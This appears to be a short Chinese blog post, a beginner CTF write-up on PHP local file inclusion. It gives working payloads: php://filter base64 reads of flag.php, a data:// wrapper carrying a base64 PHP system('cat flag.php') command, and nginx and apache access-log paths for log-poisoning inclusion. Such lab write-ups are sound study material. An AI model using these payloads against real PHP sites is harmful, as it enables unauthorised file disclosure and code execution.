showCTF 入门文件包含系列

本文介绍如何使用PHP伪协议来读取并获取特定文件的内容,包括通过base64编码绕过限制的方法,以及针对不同服务器配置如nginx的日志文件包含技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

  • web78
    读取源代码:
    在这里插入图片描述
    心想,就这?
    直接:http://url地址/?file=flag.php,但是这样出不来,页面什么也没有,想着这毕竟是一个PHP文件,可能在我们包含的时候被服务器给解析了。所以我们必须要让它不解析,这里提供一种方法,PHP伪协议中的:php://filter
    直接:
    http://url地址/?file=php://filter/read/convert.base64-encode/resource=flag.php
    成功获取flag.php的文件内容,在线网址解base64:
    https://tool.oschina.net/encrypt?type=3
    在这里插入图片描述
  • web79
    此题和也是利用PHP中的伪协议:
    ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=<-----base64-encode/decode-----> <?php system(‘cat flag.php’);

  • web80
    本题主要考察nginx服务器的日志文件包含,常见服务器日志文件位置:
    nginx: /var/log/nginx/access.log
    apache: /var/log/httpd/access_log
    bp拦截:
    在这里插入图片描述在这里插入图片描述在这里插入图片描述 - web81
    此题和80题是一样的方法。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值